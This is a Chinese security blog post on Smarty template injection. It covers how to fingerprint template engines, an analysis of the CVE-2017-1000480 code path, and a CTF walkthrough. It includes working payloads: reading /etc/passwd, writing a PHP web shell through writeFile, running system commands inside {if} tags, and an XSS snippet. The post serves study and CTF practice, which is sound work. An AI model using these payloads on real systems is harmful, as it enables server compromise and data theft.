Smarty模板注入&CVE-2017-1000480
2023-2-26 10:35:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。

确定攻击方式:

学了这么多SSTI对应的模板,我们现在先放一放Smarty,谈一下如何确定模板类型,从而确定我们下一步的攻击姿势:

我们可以用三种方法来进行测试:

第一层:

  • 如果可以执行${77}的结果,那我们进入第二层的`a{comment}b,如果没用执行结果,那就进入第二层的{{77}}`
  • 在Mako模板引擎中我们也是${}形式的

第二层:

  • a{*comment*}b中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层;
  • {{7*7}}中,如果能够执行,那我们进入第三层。

第三层:

  • 当{{7*'7'}}的结果为49时,对应着Twig模板类型,而结果如果为7777777,则对应着Jinja2的模板类型
  • 当能够执行${"z".join("ab")},我们就能确定是Mako模板,能够直接执行python命令.

Smarty漏洞成因:

<?php
    require_once('./smarty/libs/' . 'Smarty.class.php');
    $smarty = new Smarty();
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $smarty->display("string:".$ip);     // display函数把标签替换成对象的php变量;显示模板
}

这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。

攻击方式:

获取类的静态方法:

$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后,我们就去找 smarty 给我们的方法:

getStreamVariable():

public function getStreamVariable($variable)//variable其实就是文件路径
{
        $_result = '';
        $fp = fopen($variable, 'r+');//从此处开始对文件进行读取
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($this->smarty) ? $this->smarty : $this;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流
例如:
{self::getStreamVariable("file:///etc/passwd")}
  • 不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。

writeFile:

public function writeFile($_filepath, $_contents, Smarty $smarty)
//我们可以发现第三个参数$smarty其实就是一个smarty模板类型,要求是拒绝非Smarty类型的输入,这就意味着我们需要获取对Smarty对象的引用,然后我们在smarty中找到了 self::clearConfig():
public function clearConfig($varname = null)
{
    return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。

标签:

1. {$smarty.version}

{$smarty.version}  #获取smarty的版本号

2.{php}{/php}

{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

3.{literal}

  • {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
  • 在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
  • 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
{literal}alert('xss');{/literal}

4.{if}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||or&&andis_array()等等,如:

{if is_array($array)}{/if}

还可以用来执行命令:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

漏洞复现:

重点就是沙箱逃逸的部分:

这里我们主要介绍三个漏洞,说实在有点难复现,但毕竟sp4师傅是我的大师哥,想成为sp4师傅这样的大佬,那大佬走过的路我们也是要走走的。

CVE-2017-1000480:

环境链接:Releases · smarty-php/smarty (github.com)

在下面再写一个文件,用于利用漏洞,也是漏洞的触发点display, 渲染页面以后输出结果的这个函数:

<?php

define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));

define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');

define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');

include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');

class testSmarty extends Smarty_Resource_Custom
{
    protected function fetch($name, &$source, &$mtime)
    {
        $template = "CVE-2017-1000480 smarty PHP code injection";
        $source = $template;
        $mtime = time();
    }
}

$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>

我们来跟进smarty对象的成员方法display, 位置为 smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php

public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
    {
        // display template
        $this->_execute($template, $cache_id, $compile_id, $parent, 1);
    }

因为我们只给display传入了一个参数,所以我们传给display的参数就是这里的局部变量$template, 然后调用了函数_execute(),跟进一下,由于这段函数非常的长,我们就只关注有关template参数的地方,贴一下师傅的图:

我们可以发现template在这段代码中,直接进入elseif语句,其结果是使用了createTemplate方法,并且将template的值进行了覆盖,然后我们对createTemplate方法进行追综,可以发现template最后被赋值成一个Smarty_Internal_Template的对象,也正如createtemplate的字面意思

然后我们再回到原来的_execute代码处,在template被赋值为一个新的模板以后,我们会进入一个try结构,然后继续去关注里面的temlate参数走向,我们跟进render:


public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
    {
        if ($this->isCached($_template)) {
            if ($_template->smarty->debugging) {
                if (!isset($_template->smarty->_debug)) {
                    $_template->smarty->_debug = new Smarty_Internal_Debug();
                }
                $_template->smarty->_debug->start_cache($_template);
            }
            if (!$this->processed) {
                $this->process($_template);
            }
            $this->getRenderedTemplateCode($_template);
            if ($_template->smarty->debugging) {
                $_template->smarty->_debug->end_cache($_template);
            }
            return;
        } else {
            $_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter);
        }
    }

这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else,我们继续跟进 smartytemplatecompiled 类中的这个 render:

public function render(Smarty_Internal_Template $_template)
    {
        // checks if template exists
        if (!$_template->source->exists) {
            $type = $_template->source->isConfig ? 'config' : 'template';
            throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'");
        }
        if ($_template->smarty->debugging) {
            if (!isset($_template->smarty->_debug)) {
                $_template->smarty->_debug = new Smarty_Internal_Debug();
            }
            $_template->smarty->_debug->start_render($_template);
        }
        if (!$this->processed) {
            $this->process($_template);
        }
    }

第105行开始对前面生成的模板进行处理:

# smarty_template_compiled
# line about 104

if (!$this->processed) {
    $this->process($_template);
}

可以看到这里的 $this->process($_template);跟进process

public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile ||
                ($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $smarty->compile_check;
                $smarty->compile_check = false;
                $this->loadCompiledTemplate($_smarty_tpl);
                $smarty->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include($this->filepath);
                if ($_smarty_tpl->mustCompile) {
                    $this->compileTemplateSource($_smarty_tpl);
                    $compileCheck = $smarty->compile_check;
                    $smarty->compile_check = false;
                    $this->loadCompiledTemplate($_smarty_tpl);
                    $smarty->compile_check = $compileCheck;
                }
            }
            $_smarty_tpl->_subTemplateRegister();
            $this->processed = true;
        }
    }

process方法定义在第90行。现在初次访问,也即文件的第97行会对模板文件进行编译,即如简介中所言开始生成编译文件:

if (!$this->exists || $smarty->force_compile ||
    ($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
    $this->compileTemplateSource($_smarty_tpl);
    $compileCheck = $smarty->compile_check;
    $smarty->compile_check = false;
    $this->loadCompiledTemplate($_smarty_tpl);
    $smarty->compile_check = $compileCheck;
}
compileTemplateSource方法定义在同文件的第189行,在第203行装载完编译器后(loadCompiler()),调用write方法进行写操作:
public function compileTemplateSource(Smarty_Internal_Template $_template)
{
    ...
    try {
        // call compiler
        $_template->loadCompiler();//装载编译器
        $this->write($_template, $_template->compiler->compileTemplate($_template));
    }
    ...

跟入compileTemplate方法,定义libs\sysplugins\smarty_internal_templatecompilerbase.php第330行:

public function compileTemplate(Smarty_Internal_Template $template, $nocache = null,
                                    Smarty_Internal_TemplateCompilerBase $parent_compiler = null)
    {
        // get code frame of compiled template
        $_compiled_code = $template->smarty->ext->_codeFrame->create($template,
                                                                     $this->compileTemplateSource($template, $nocache,
                                                                                                  $parent_compiler),
                                                                     $this->postFilter($this->blockOrFunctionCode) .
                                                                     join('', $this->mergedSubTemplatesCode), false,
                                                                     $this);
        return $_compiled_code;
    }

create是生成编译文件代码的方法,定义在libs\sysplugins\smarty_internal_runtime_codeframe.php第28行

//在第45行,在生成output内容时有如下代码:

$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
                   "\n  from \"" . $_template->source->filepath . "\" */\n\n";
//将 $_template->source->filepath的内容直接拼接到了$output里。这段代码是为了生成编译文件中的注释,$output的头尾有注释符号/*和*/。

现在考虑如何利用,我们需要闭合前面的注释符号,即payload的最前面需要加上*/。同时还要把后面的*/给注释掉,可以在payload最后加上//。中间填上php代码即可。另外需要注意的是,在win平台下,文件名中不允许有*,而smarty框架的生成的编译文件的名字会含有我们的payload,所以在win下时会直接提示创建文件失败。

在linux平台下即可利用成功。

这就是Smarty下生成的临时文件的内容,其中蓝框的部分就是输出点,可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了,我们如何通过这两个输出点能够闭合其中的注释或者是代码,从而执行我们加入的代码。

然后在process中,能够将我们这个文件自动包含:

private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
    {
        if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) {
            opcache_invalidate($this->filepath, true);
        } elseif (function_exists('apc_compile_file')) {
            apc_compile_file($this->filepath);
        }
        if (defined('HHVM_VERSION')) {
            eval("?>" . file_get_contents($this->filepath));//就是这个位置
        } else {
            include($this->filepath);
        }
    }

eval(“?>”.file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了。

实战:

[NISACTF 2022]midlevel:

打开题目界面:

说明这个界面是用smarty进行创建的,所以我们确定攻击方式就为smarty,下一步寻找注入点:

打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入,我们用上面的判断模板的方法来实践一下:


这里我们用smarty特有的注释符方式来验证,发现并没有回显comment的值,所以我们可以确定这个位置就是smarty模板注入。

然后我们确定版本:

{$smarty.version}
Current IP:3.1.30
//所以这个位置我们不能够使用获取类的静态方法来进行攻击,也不能用php标签来进行攻击。
//又因为php的版本是php7,所以我们不能用literal标签,最后我们使用if来进行攻击

后续会继续更新2021和2022的CVE漏洞,因为自己代码审计水平有限,所以还请师傅们多多指教

参考文章:
https://www.cnblogs.com/bmjoker/p/13508538.html
https://www.anquanke.com/post/id/272393
https://blog.csdn.net/qq_45521281/article/details/107556915
https://www.cnblogs.com/magic-zero/p/8351974.html
https://blog.spoock.com/2018/03/06/Smartyty-RCE-Analysis/


文章来源: https://xz.aliyun.com/t/12220
如有侵权请联系:admin#unsafe.sh